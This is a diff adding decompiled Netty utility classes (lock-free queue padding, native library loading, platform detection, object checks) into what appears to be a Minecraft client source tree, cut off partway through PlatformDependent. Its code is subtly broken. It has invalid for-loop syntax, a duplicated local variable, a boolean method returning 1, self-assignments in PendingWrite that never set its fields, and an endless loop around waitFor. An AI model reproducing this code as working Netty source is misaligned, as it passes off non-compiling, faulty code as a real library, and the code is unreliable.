+    UPDATER = updater;
+  }
+  
+
+  protected final MpscLinkedQueueNode<E> headRef()
+  {
+    return headRef;
+  }
+  
+  protected final void setHeadRef(MpscLinkedQueueNode<E> headRef) {
+    this.headRef = headRef;
+  }
+  
+  protected final void lazySetHeadRef(MpscLinkedQueueNode<E> headRef) {
+    UPDATER.lazySet(this, headRef);
+  }
+  
+  MpscLinkedQueueHeadRef() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/MpscLinkedQueueNode.java b/src/minecraft/io/netty/util/internal/MpscLinkedQueueNode.java
new file mode 100644
index 0000000..76dc9a8
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/MpscLinkedQueueNode.java
@@ -0,0 +1,69 @@
+package io.netty.util.internal;
+
+import java.util.concurrent.atomic.AtomicReferenceFieldUpdater;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class MpscLinkedQueueNode<T>
+{
+  private static final AtomicReferenceFieldUpdater<MpscLinkedQueueNode, MpscLinkedQueueNode> nextUpdater;
+  private volatile MpscLinkedQueueNode<T> next;
+  
+  static
+  {
+    AtomicReferenceFieldUpdater<MpscLinkedQueueNode, MpscLinkedQueueNode> u = PlatformDependent.newAtomicReferenceFieldUpdater(MpscLinkedQueueNode.class, "next");
+    if (u == null) {
+      u = AtomicReferenceFieldUpdater.newUpdater(MpscLinkedQueueNode.class, MpscLinkedQueueNode.class, "next");
+    }
+    nextUpdater = u;
+  }
+  
+
+
+  final MpscLinkedQueueNode<T> next()
+  {
+    return next;
+  }
+  
+
+  final void setNext(MpscLinkedQueueNode<T> newNext)
+  {
+    nextUpdater.lazySet(this, newNext);
+  }
+  
+
+
+
+
+  protected T clearMaybe()
+  {
+    return value();
+  }
+  
+
+
+  void unlink()
+  {
+    setNext(null);
+  }
+  
+  public MpscLinkedQueueNode() {}
+  
+  public abstract T value();
+}
diff --git a/src/minecraft/io/netty/util/internal/MpscLinkedQueuePad0.java b/src/minecraft/io/netty/util/internal/MpscLinkedQueuePad0.java
new file mode 100644
index 0000000..b064f87
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/MpscLinkedQueuePad0.java
@@ -0,0 +1,23 @@
+package io.netty.util.internal;
+
+abstract class MpscLinkedQueuePad0<E>
+{
+  long p00;
+  long p01;
+  long p02;
+  long p03;
+  long p04;
+  long p05;
+  long p06;
+  long p07;
+  long p30;
+  long p31;
+  long p32;
+  long p33;
+  long p34;
+  long p35;
+  long p36;
+  long p37;
+  
+  MpscLinkedQueuePad0() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/MpscLinkedQueuePad1.java b/src/minecraft/io/netty/util/internal/MpscLinkedQueuePad1.java
new file mode 100644
index 0000000..f0b7ea7
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/MpscLinkedQueuePad1.java
@@ -0,0 +1,25 @@
+package io.netty.util.internal;
+
+abstract class MpscLinkedQueuePad1<E>
+  extends MpscLinkedQueueHeadRef<E>
+{
+  private static final long serialVersionUID = 2886694927079691637L;
+  long p00;
+  long p01;
+  long p02;
+  long p03;
+  long p04;
+  long p05;
+  long p06;
+  long p07;
+  long p30;
+  long p31;
+  long p32;
+  long p33;
+  long p34;
+  long p35;
+  long p36;
+  long p37;
+  
+  MpscLinkedQueuePad1() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/MpscLinkedQueueTailRef.java b/src/minecraft/io/netty/util/internal/MpscLinkedQueueTailRef.java
new file mode 100644
index 0000000..792ff74
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/MpscLinkedQueueTailRef.java
@@ -0,0 +1,56 @@
+package io.netty.util.internal;
+
+import java.util.concurrent.atomic.AtomicReferenceFieldUpdater;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class MpscLinkedQueueTailRef<E>
+  extends MpscLinkedQueuePad1<E>
+{
+  private static final long serialVersionUID = 8717072462993327429L;
+  private static final AtomicReferenceFieldUpdater<MpscLinkedQueueTailRef, MpscLinkedQueueNode> UPDATER;
+  private volatile transient MpscLinkedQueueNode<E> tailRef;
+  
+  static
+  {
+    AtomicReferenceFieldUpdater<MpscLinkedQueueTailRef, MpscLinkedQueueNode> updater = PlatformDependent.newAtomicReferenceFieldUpdater(MpscLinkedQueueTailRef.class, "tailRef");
+    if (updater == null) {
+      updater = AtomicReferenceFieldUpdater.newUpdater(MpscLinkedQueueTailRef.class, MpscLinkedQueueNode.class, "tailRef");
+    }
+    
+    UPDATER = updater;
+  }
+  
+
+  protected final MpscLinkedQueueNode<E> tailRef()
+  {
+    return tailRef;
+  }
+  
+  protected final void setTailRef(MpscLinkedQueueNode<E> tailRef) {
+    this.tailRef = tailRef;
+  }
+  
+
+  protected final MpscLinkedQueueNode<E> getAndSetTailRef(MpscLinkedQueueNode<E> tailRef)
+  {
+    return (MpscLinkedQueueNode)UPDATER.getAndSet(this, tailRef);
+  }
+  
+  MpscLinkedQueueTailRef() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/NativeLibraryLoader.java b/src/minecraft/io/netty/util/internal/NativeLibraryLoader.java
new file mode 100644
index 0000000..cd0c955
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/NativeLibraryLoader.java
@@ -0,0 +1,225 @@
+package io.netty.util.internal;
+
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.URL;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class NativeLibraryLoader
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(NativeLibraryLoader.class);
+  
+
+
+  private static final String NATIVE_RESOURCE_HOME = "META-INF/native/";
+  
+
+  private static final String OSNAME = SystemPropertyUtil.get("os.name", "").toLowerCase(Locale.US).replaceAll("[^a-z0-9]+", "");
+  
+  static { String workdir = SystemPropertyUtil.get("io.netty.native.workdir");
+    if (workdir != null) {
+      File f = new File(workdir);
+      f.mkdirs();
+      try
+      {
+        f = f.getAbsoluteFile();
+      }
+      catch (Exception ignored) {}
+      
+
+      WORKDIR = f;
+      logger.debug("-Dio.netty.netty.workdir: " + WORKDIR);
+    } else {
+      WORKDIR = tmpdir();
+      logger.debug("-Dio.netty.netty.workdir: " + WORKDIR + " (io.netty.tmpdir)");
+    }
+  }
+  
+  private static File tmpdir() {
+    File f;
+    try {
+      f = toDirectory(SystemPropertyUtil.get("io.netty.tmpdir"));
+      if (f != null) {
+        logger.debug("-Dio.netty.tmpdir: " + f);
+        return f;
+      }
+      
+      f = toDirectory(SystemPropertyUtil.get("java.io.tmpdir"));
+      if (f != null) {
+        logger.debug("-Dio.netty.tmpdir: " + f + " (java.io.tmpdir)");
+        return f;
+      }
+      
+
+      if (isWindows()) {
+        f = toDirectory(System.getenv("TEMP"));
+        if (f != null) {
+          logger.debug("-Dio.netty.tmpdir: " + f + " (%TEMP%)");
+          return f;
+        }
+        
+        String userprofile = System.getenv("USERPROFILE");
+        if (userprofile != null) {
+          f = toDirectory(userprofile + "\\AppData\\Local\\Temp");
+          if (f != null) {
+            logger.debug("-Dio.netty.tmpdir: " + f + " (%USERPROFILE%\\AppData\\Local\\Temp)");
+            return f;
+          }
+          
+          f = toDirectory(userprofile + "\\Local Settings\\Temp");
+          if (f != null) {
+            logger.debug("-Dio.netty.tmpdir: " + f + " (%USERPROFILE%\\Local Settings\\Temp)");
+            return f;
+          }
+        }
+      } else {
+        f = toDirectory(System.getenv("TMPDIR"));
+        if (f != null) {
+          logger.debug("-Dio.netty.tmpdir: " + f + " ($TMPDIR)");
+          return f;
+        }
+      }
+    }
+    catch (Exception ignored) {}
+    
+    File f;
+    
+    if (isWindows()) {
+      f = new File("C:\\Windows\\Temp");
+    } else {
+      f = new File("/tmp");
+    }
+    
+    logger.warn("Failed to get the temporary directory; falling back to: " + f);
+    return f;
+  }
+  
+  private static File toDirectory(String path)
+  {
+    if (path == null) {
+      return null;
+    }
+    
+    File f = new File(path);
+    f.mkdirs();
+    
+    if (!f.isDirectory()) {
+      return null;
+    }
+    try
+    {
+      return f.getAbsoluteFile();
+    } catch (Exception ignored) {}
+    return f;
+  }
+  
+  private static boolean isWindows()
+  {
+    return OSNAME.startsWith("windows");
+  }
+  
+  private static boolean isOSX() {
+    return (OSNAME.startsWith("macosx")) || (OSNAME.startsWith("osx"));
+  }
+  
+
+  private static final File WORKDIR;
+  public static void load(String name, ClassLoader loader)
+  {
+    String libname = System.mapLibraryName(name);
+    String path = "META-INF/native/" + libname;
+    
+    URL url = loader.getResource(path);
+    if ((url == null) && (isOSX())) {
+      if (path.endsWith(".jnilib")) {
+        url = loader.getResource("META-INF/native/lib" + name + ".dynlib");
+      } else {
+        url = loader.getResource("META-INF/native/lib" + name + ".jnilib");
+      }
+    }
+    
+    if (url == null)
+    {
+      System.loadLibrary(name);
+      return;
+    }
+    
+    int index = libname.lastIndexOf('.');
+    String prefix = libname.substring(0, index);
+    String suffix = libname.substring(index, libname.length());
+    InputStream in = null;
+    OutputStream out = null;
+    File tmpFile = null;
+    boolean loaded = false;
+    try {
+      tmpFile = File.createTempFile(prefix, suffix, WORKDIR);
+      in = url.openStream();
+      out = new FileOutputStream(tmpFile);
+      
+      byte[] buffer = new byte[' '];
+      int length;
+      while ((length = in.read(buffer)) > 0) {
+        out.write(buffer, 0, length);
+      }
+      out.flush();
+      out.close();
+      out = null;
+      
+      System.load(tmpFile.getPath());
+      loaded = true;
+    } catch (Exception e) {
+      throw ((UnsatisfiedLinkError)new UnsatisfiedLinkError("could not load a native library: " + name).initCause(e));
+    }
+    finally {
+      if (in != null) {
+        try {
+          in.close();
+        }
+        catch (IOException ignore) {}
+      }
+      
+      if (out != null) {
+        try {
+          out.close();
+        }
+        catch (IOException ignore) {}
+      }
+      
+      if (tmpFile != null) {
+        if (loaded) {
+          tmpFile.deleteOnExit();
+        }
+        else if (!tmpFile.delete()) {
+          tmpFile.deleteOnExit();
+        }
+      }
+    }
+  }
+  
+  private NativeLibraryLoader() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/NativeLibraryUtil.java b/src/minecraft/io/netty/util/internal/NativeLibraryUtil.java
new file mode 100644
index 0000000..7b247de
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/NativeLibraryUtil.java
@@ -0,0 +1,43 @@
+package io.netty.util.internal;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class NativeLibraryUtil
+{
+  public static void loadLibrary(String libName, boolean absolute)
+  {
+    if (absolute) {
+      System.load(libName);
+    } else {
+      System.loadLibrary(libName);
+    }
+  }
+  
+  private NativeLibraryUtil() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/NoOpTypeParameterMatcher.java b/src/minecraft/io/netty/util/internal/NoOpTypeParameterMatcher.java
new file mode 100644
index 0000000..7dceb83
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/NoOpTypeParameterMatcher.java
@@ -0,0 +1,24 @@
+package io.netty.util.internal;
+
+
+
+
+
+
+
+public final class NoOpTypeParameterMatcher
+  extends TypeParameterMatcher
+{
+  public NoOpTypeParameterMatcher() {}
+  
+
+
+
+
+
+
+  public boolean match(Object msg)
+  {
+    return true;
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/ObjectUtil.java b/src/minecraft/io/netty/util/internal/ObjectUtil.java
new file mode 100644
index 0000000..f3bafc3
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/ObjectUtil.java
@@ -0,0 +1,110 @@
+package io.netty.util.internal;
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ObjectUtil
+{
+  private ObjectUtil() {}
+  
+
+
+
+
+
+
+
+
+
+
+  public static <T> T checkNotNull(T arg, String text)
+  {
+    if (arg == null) {
+      throw new NullPointerException(text);
+    }
+    return arg;
+  }
+  
+
+
+
+  public static int checkPositive(int i, String name)
+  {
+    if (i <= 0) {
+      throw new IllegalArgumentException(name + ": " + i + " (expected: > 0)");
+    }
+    return i;
+  }
+  
+
+
+
+  public static long checkPositive(long i, String name)
+  {
+    if (i <= 0L) {
+      throw new IllegalArgumentException(name + ": " + i + " (expected: > 0)");
+    }
+    return i;
+  }
+  
+
+
+
+  public static int checkPositiveOrZero(int i, String name)
+  {
+    if (i < 0) {
+      throw new IllegalArgumentException(name + ": " + i + " (expected: >= 0)");
+    }
+    return i;
+  }
+  
+
+
+
+  public static long checkPositiveOrZero(long i, String name)
+  {
+    if (i < 0L) {
+      throw new IllegalArgumentException(name + ": " + i + " (expected: >= 0)");
+    }
+    return i;
+  }
+  
+
+
+
+
+  public static <T> T[] checkNonEmpty(T[] array, String name)
+  {
+    checkNotNull(array, name);
+    checkPositive(array.length, name + ".length");
+    return array;
+  }
+  
+
+
+
+
+
+  public static int intValue(Integer wrapper, int defaultValue)
+  {
+    return wrapper != null ? wrapper.intValue() : defaultValue;
+  }
+  
+
+
+
+
+
+  public static long longValue(Long wrapper, long defaultValue)
+  {
+    return wrapper != null ? wrapper.longValue() : defaultValue;
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/OneTimeTask.java b/src/minecraft/io/netty/util/internal/OneTimeTask.java
new file mode 100644
index 0000000..80b36c1
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/OneTimeTask.java
@@ -0,0 +1,32 @@
+package io.netty.util.internal;
+
+
+
+
+
+
+
+
+
+
+
+public abstract class OneTimeTask
+  extends MpscLinkedQueueNode<Runnable>
+  implements Runnable
+{
+  public OneTimeTask() {}
+  
+
+
+
+
+
+
+
+
+
+  public Runnable value()
+  {
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/OutOfDirectMemoryError.java b/src/minecraft/io/netty/util/internal/OutOfDirectMemoryError.java
new file mode 100644
index 0000000..af87562
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/OutOfDirectMemoryError.java
@@ -0,0 +1,30 @@
+package io.netty.util.internal;
+
+
+
+
+
+
+
+
+
+
+public final class OutOfDirectMemoryError
+  extends OutOfMemoryError
+{
+  private static final long serialVersionUID = 4228264016184011555L;
+  
+
+
+
+
+
+
+
+
+
+  OutOfDirectMemoryError(String s)
+  {
+    super(s);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/PendingWrite.java b/src/minecraft/io/netty/util/internal/PendingWrite.java
new file mode 100644
index 0000000..c9b4695
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/PendingWrite.java
@@ -0,0 +1,97 @@
+package io.netty.util.internal;
+
+import io.netty.util.Recycler;
+import io.netty.util.Recycler.Handle;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.concurrent.Promise;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class PendingWrite
+{
+  private static final Recycler<PendingWrite> RECYCLER = new Recycler()
+  {
+    protected PendingWrite newObject(Recycler.Handle handle) {
+      return new PendingWrite(handle, null);
+    }
+  };
+  private final Recycler.Handle handle;
+  private Object msg;
+  private Promise<Void> promise;
+  
+  public static PendingWrite newInstance(Object msg, Promise<Void> promise) {
+    PendingWrite pending = (PendingWrite)RECYCLER.get();
+    msg = msg;
+    promise = promise;
+    return pending;
+  }
+  
+
+
+
+  private PendingWrite(Recycler.Handle handle)
+  {
+    this.handle = handle;
+  }
+  
+
+
+  public boolean recycle()
+  {
+    msg = null;
+    promise = null;
+    return RECYCLER.recycle(this, handle);
+  }
+  
+
+
+  public boolean failAndRecycle(Throwable cause)
+  {
+    ReferenceCountUtil.release(msg);
+    if (promise != null) {
+      promise.setFailure(cause);
+    }
+    return recycle();
+  }
+  
+
+
+  public boolean successAndRecycle()
+  {
+    if (promise != null) {
+      promise.setSuccess(null);
+    }
+    return recycle();
+  }
+  
+  public Object msg() {
+    return msg;
+  }
+  
+  public Promise<Void> promise() {
+    return promise;
+  }
+  
+
+
+  public Promise<Void> recycleAndGet()
+  {
+    Promise<Void> promise = this.promise;
+    recycle();
+    return promise;
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/PlatformDependent.java b/src/minecraft/io/netty/util/internal/PlatformDependent.java
new file mode 100644
index 0000000..727b12d
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/PlatformDependent.java
@@ -0,0 +1,877 @@
+package io.netty.util.internal;
+
+import io.netty.util.CharsetUtil;
+import io.netty.util.internal.chmv8.ConcurrentHashMapV8;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.net.InetSocketAddress;
+import java.net.ServerSocket;
+import java.nio.ByteBuffer;
+import java.util.List;
+import java.util.Locale;
+import java.util.Map;
+import java.util.Queue;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.atomic.AtomicIntegerFieldUpdater;
+import java.util.concurrent.atomic.AtomicLongFieldUpdater;
+import java.util.concurrent.atomic.AtomicReferenceFieldUpdater;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class PlatformDependent
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(PlatformDependent.class);
+  
+  private static final Pattern MAX_DIRECT_MEMORY_SIZE_ARG_PATTERN = Pattern.compile("\\s*-XX:MaxDirectMemorySize\\s*=\\s*([0-9]+)\\s*([kKmMgG]?)\\s*$");
+  
+
+  private static final boolean IS_ANDROID = isAndroid0();
+  private static final boolean IS_WINDOWS = isWindows0();
+  private static final boolean IS_ROOT = isRoot0();
+  
+  private static final int JAVA_VERSION = javaVersion0();
+  
+  private static final boolean CAN_ENABLE_TCP_NODELAY_BY_DEFAULT = !isAndroid();
+  
+  private static final boolean HAS_UNSAFE = hasUnsafe0();
+  private static final boolean CAN_USE_CHM_V8 = (HAS_UNSAFE) && (JAVA_VERSION < 8);
+  private static final boolean DIRECT_BUFFER_PREFERRED = (HAS_UNSAFE) && (!SystemPropertyUtil.getBoolean("io.netty.noPreferDirect", false));
+  
+  private static final long MAX_DIRECT_MEMORY = maxDirectMemory0();
+  
+  private static final long ARRAY_BASE_OFFSET = arrayBaseOffset0();
+  
+  private static final boolean HAS_JAVASSIST = hasJavassist0();
+  
+  private static final File TMPDIR = tmpdir0();
+  
+  private static final int BIT_MODE = bitMode0();
+  
+  private static final int ADDRESS_SIZE = addressSize0();
+  
+  static {
+    if (logger.isDebugEnabled()) {
+      logger.debug("-Dio.netty.noPreferDirect: {}", Boolean.valueOf(!DIRECT_BUFFER_PREFERRED));
+    }
+    
+    if ((!hasUnsafe()) && (!isAndroid())) {
+      logger.info("Your platform does not provide complete low-level API for accessing direct buffers reliably. Unless explicitly requested, heap buffer will always be preferred to avoid potential system unstability.");
+    }
+  }
+  
+
+
+
+
+
+  public static boolean isAndroid()
+  {
+    return IS_ANDROID;
+  }
+  
+
+
+  public static boolean isWindows()
+  {
+    return IS_WINDOWS;
+  }
+  
+
+
+
+  public static boolean isRoot()
+  {
+    return IS_ROOT;
+  }
+  
+
+
+  public static int javaVersion()
+  {
+    return JAVA_VERSION;
+  }
+  
+
+
+  public static boolean canEnableTcpNoDelayByDefault()
+  {
+    return CAN_ENABLE_TCP_NODELAY_BY_DEFAULT;
+  }
+  
+
+
+
+  public static boolean hasUnsafe()
+  {
+    return HAS_UNSAFE;
+  }
+  
+
+
+
+  public static boolean directBufferPreferred()
+  {
+    return DIRECT_BUFFER_PREFERRED;
+  }
+  
+
+
+  public static long maxDirectMemory()
+  {
+    return MAX_DIRECT_MEMORY;
+  }
+  
+
+
+  public static boolean hasJavassist()
+  {
+    return HAS_JAVASSIST;
+  }
+  
+
+
+  public static File tmpdir()
+  {
+    return TMPDIR;
+  }
+  
+
+
+  public static int bitMode()
+  {
+    return BIT_MODE;
+  }
+  
+
+
+
+  public static int addressSize()
+  {
+    return ADDRESS_SIZE;
+  }
+  
+  public static long allocateMemory(long size) {
+    return PlatformDependent0.allocateMemory(size);
+  }
+  
+  public static void freeMemory(long address) {
+    PlatformDependent0.freeMemory(address);
+  }
+  
+
+
+  public static void throwException(Throwable t)
+  {
+    if (hasUnsafe()) {
+      PlatformDependent0.throwException(t);
+    } else {
+      throwException0(t);
+    }
+  }
+  
+  private static <E extends Throwable> void throwException0(Throwable t) throws Throwable
+  {
+    throw t;
+  }
+  
+
+
+  public static <K, V> ConcurrentMap<K, V> newConcurrentHashMap()
+  {
+    if (CAN_USE_CHM_V8) {
+      return new ConcurrentHashMapV8();
+    }
+    return new ConcurrentHashMap();
+  }
+  
+
+
+
+  public static <K, V> ConcurrentMap<K, V> newConcurrentHashMap(int initialCapacity)
+  {
+    if (CAN_USE_CHM_V8) {
+      return new ConcurrentHashMapV8(initialCapacity);
+    }
+    return new ConcurrentHashMap(initialCapacity);
+  }
+  
+
+
+
+  public static <K, V> ConcurrentMap<K, V> newConcurrentHashMap(int initialCapacity, float loadFactor)
+  {
+    if (CAN_USE_CHM_V8) {
+      return new ConcurrentHashMapV8(initialCapacity, loadFactor);
+    }
+    return new ConcurrentHashMap(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+  public static <K, V> ConcurrentMap<K, V> newConcurrentHashMap(int initialCapacity, float loadFactor, int concurrencyLevel)
+  {
+    if (CAN_USE_CHM_V8) {
+      return new ConcurrentHashMapV8(initialCapacity, loadFactor, concurrencyLevel);
+    }
+    return new ConcurrentHashMap(initialCapacity, loadFactor, concurrencyLevel);
+  }
+  
+
+
+
+  public static <K, V> ConcurrentMap<K, V> newConcurrentHashMap(Map<? extends K, ? extends V> map)
+  {
+    if (CAN_USE_CHM_V8) {
+      return new ConcurrentHashMapV8(map);
+    }
+    return new ConcurrentHashMap(map);
+  }
+  
+
+
+
+
+  public static void freeDirectBuffer(ByteBuffer buffer)
+  {
+    if ((hasUnsafe()) && (!isAndroid()))
+    {
+
+      PlatformDependent0.freeDirectBuffer(buffer);
+    }
+  }
+  
+  public static long directBufferAddress(ByteBuffer buffer) {
+    return PlatformDependent0.directBufferAddress(buffer);
+  }
+  
+  public static Object getObject(Object object, long fieldOffset) {
+    return PlatformDependent0.getObject(object, fieldOffset);
+  }
+  
+  public static Object getObjectVolatile(Object object, long fieldOffset) {
+    return PlatformDependent0.getObjectVolatile(object, fieldOffset);
+  }
+  
+  public static int getInt(Object object, long fieldOffset) {
+    return PlatformDependent0.getInt(object, fieldOffset);
+  }
+  
+  public static long objectFieldOffset(Field field) {
+    return PlatformDependent0.objectFieldOffset(field);
+  }
+  
+  public static byte getByte(long address) {
+    return PlatformDependent0.getByte(address);
+  }
+  
+  public static short getShort(long address) {
+    return PlatformDependent0.getShort(address);
+  }
+  
+  public static int getInt(long address) {
+    return PlatformDependent0.getInt(address);
+  }
+  
+  public static long getLong(long address) {
+    return PlatformDependent0.getLong(address);
+  }
+  
+  public static void putOrderedObject(Object object, long address, Object value) {
+    PlatformDependent0.putOrderedObject(object, address, value);
+  }
+  
+  public static void putByte(long address, byte value) {
+    PlatformDependent0.putByte(address, value);
+  }
+  
+  public static void putShort(long address, short value) {
+    PlatformDependent0.putShort(address, value);
+  }
+  
+  public static void putInt(long address, int value) {
+    PlatformDependent0.putInt(address, value);
+  }
+  
+  public static void putLong(long address, long value) {
+    PlatformDependent0.putLong(address, value);
+  }
+  
+  public static void copyMemory(long srcAddr, long dstAddr, long length) {
+    PlatformDependent0.copyMemory(srcAddr, dstAddr, length);
+  }
+  
+  public static void copyMemory(byte[] src, int srcIndex, long dstAddr, long length) {
+    PlatformDependent0.copyMemory(src, ARRAY_BASE_OFFSET + srcIndex, null, dstAddr, length);
+  }
+  
+  public static void copyMemory(long srcAddr, byte[] dst, int dstIndex, long length) {
+    PlatformDependent0.copyMemory(null, srcAddr, dst, ARRAY_BASE_OFFSET + dstIndex, length);
+  }
+  
+
+
+
+
+
+  public static <U, W> AtomicReferenceFieldUpdater<U, W> newAtomicReferenceFieldUpdater(Class<U> tclass, String fieldName)
+  {
+    if (hasUnsafe()) {
+      try {
+        return PlatformDependent0.newAtomicReferenceFieldUpdater(tclass, fieldName);
+      }
+      catch (Throwable ignore) {}
+    }
+    
+    return null;
+  }
+  
+
+
+
+
+
+  public static <T> AtomicIntegerFieldUpdater<T> newAtomicIntegerFieldUpdater(Class<?> tclass, String fieldName)
+  {
+    if (hasUnsafe()) {
+      try {
+        return PlatformDependent0.newAtomicIntegerFieldUpdater(tclass, fieldName);
+      }
+      catch (Throwable ignore) {}
+    }
+    
+    return null;
+  }
+  
+
+
+
+
+
+  public static <T> AtomicLongFieldUpdater<T> newAtomicLongFieldUpdater(Class<?> tclass, String fieldName)
+  {
+    if (hasUnsafe()) {
+      try {
+        return PlatformDependent0.newAtomicLongFieldUpdater(tclass, fieldName);
+      }
+      catch (Throwable ignore) {}
+    }
+    
+    return null;
+  }
+  
+
+
+
+  public static <T> Queue<T> newMpscQueue()
+  {
+    return new MpscLinkedQueue();
+  }
+  
+
+
+  public static ClassLoader getClassLoader(Class<?> clazz)
+  {
+    return PlatformDependent0.getClassLoader(clazz);
+  }
+  
+
+
+  public static ClassLoader getContextClassLoader()
+  {
+    return PlatformDependent0.getContextClassLoader();
+  }
+  
+
+
+  public static ClassLoader getSystemClassLoader()
+  {
+    return PlatformDependent0.getSystemClassLoader();
+  }
+  
+  private static boolean isAndroid0() {
+    boolean android;
+    try {
+      Class.forName("android.app.Application", false, getSystemClassLoader());
+      android = true;
+    }
+    catch (Exception e) {
+      android = false;
+    }
+    
+    if (android) {
+      logger.debug("Platform: Android");
+    }
+    return android;
+  }
+  
+  private static boolean isWindows0() {
+    boolean windows = SystemPropertyUtil.get("os.name", "").toLowerCase(Locale.US).contains("win");
+    if (windows) {
+      logger.debug("Platform: Windows");
+    }
+    return windows;
+  }
+  
+  private static boolean isRoot0() {
+    if (isWindows()) {
+      return false;
+    }
+    
+    String[] ID_COMMANDS = { "/usr/bin/id", "/bin/id", "id", "/usr/xpg4/bin/id" };
+    Pattern UID_PATTERN = Pattern.compile("^(?:0|[1-9][0-9]*)$");
+    String idCmd; for (idCmd : ID_COMMANDS) {
+      Process p = null;
+      BufferedReader in = null;
+      String uid = null;
+      try {
+        p = Runtime.getRuntime().exec(new String[] { idCmd, "-u" });
+        in = new BufferedReader(new InputStreamReader(p.getInputStream(), CharsetUtil.US_ASCII));
+        uid = in.readLine();
+        in.close();
+        for (;;)
+        {
+          try {
+            int exitCode = p.waitFor();
+            if (exitCode != 0) {
+              uid = null;
+            }
+          }
+          catch (InterruptedException e) {}
+        }
+        
+
+
+
+
+
+        if (in != null) {
+          try {
+            in.close();
+          }
+          catch (IOException e) {}
+        }
+        
+        if (p != null) {
+          try {
+            p.destroy();
+          }
+          catch (Exception e) {}
+        }
+        
+
+
+        if (uid == null) {
+          continue;
+        }
+      }
+      catch (Exception e)
+      {
+        uid = null;
+      } finally {
+        if (in != null) {
+          try {
+            in.close();
+          }
+          catch (IOException e) {}
+        }
+        
+        if (p != null) {
+          try {
+            p.destroy();
+          }
+          catch (Exception e) {}
+        }
+      }
+      
+
+      if (UID_PATTERN.matcher(uid).matches()) {
+        logger.debug("UID: {}", uid);
+        return "0".equals(uid);
+      }
+    }
+    
+    logger.debug("Could not determine the current UID using /usr/bin/id; attempting to bind at privileged ports.");
+    
+    Pattern PERMISSION_DENIED = Pattern.compile(".*(?:denied|not.*permitted).*");
+    for (int i = 1023; i > 0; i--) {
+      ServerSocket ss = null;
+      try {
+        ss = new ServerSocket();
+        ss.setReuseAddress(true);
+        ss.bind(new InetSocketAddress(i));
+        if (logger.isDebugEnabled()) {
+          logger.debug("UID: 0 (succeded to bind at port {})", Integer.valueOf(i));
+        }
+        return 1;
+      }
+      catch (Exception e)
+      {
+        String message = e.getMessage();
+        if (message == null) {
+          message = "";
+        }
+        message = message.toLowerCase();
+        if (PERMISSION_DENIED.matcher(message).matches())
+        {
+
+
+          if (ss == null)
+            break;
+          try { ss.close();
+          }
+          catch (Exception e) {}
+        }
+      }
+      finally
+      {
+        if (ss != null) {
+          try {
+            ss.close();
+          }
+          catch (Exception e) {}
+        }
+      }
+    }
+    
+
+    logger.debug("UID: non-root (failed to bind at any privileged ports)");
+    return false;
+  }
+  
+
+  private static int javaVersion0()
+  {
+    int javaVersion;
+    
+    int javaVersion;
+    
+    if (isAndroid()) {
+      javaVersion = 6;
+    }
+    else {
+      try
+      {
+        Class.forName("java.time.Clock", false, getClassLoader(Object.class));
+        javaVersion = 8;
+
+      }
+      catch (Exception e)
+      {
+        try
+        {
+          Class.forName("java.util.concurrent.LinkedTransferQueue", false, getClassLoader(BlockingQueue.class));
+          javaVersion = 7;
+
+        }
+        catch (Exception e)
+        {
+
+          javaVersion = 6;
+        }
+      }
+    }
+    if (logger.isDebugEnabled()) {
+      logger.debug("Java version: {}", Integer.valueOf(javaVersion));
+    }
+    return javaVersion;
+  }
+  
+  private static boolean hasUnsafe0() {
+    boolean noUnsafe = SystemPropertyUtil.getBoolean("io.netty.noUnsafe", false);
+    logger.debug("-Dio.netty.noUnsafe: {}", Boolean.valueOf(noUnsafe));
+    
+    if (isAndroid()) {
+      logger.debug("sun.misc.Unsafe: unavailable (Android)");
+      return false;
+    }
+    
+    if (noUnsafe) {
+      logger.debug("sun.misc.Unsafe: unavailable (io.netty.noUnsafe)");
+      return false;
+    }
+    
+    boolean tryUnsafe;
+    boolean tryUnsafe;
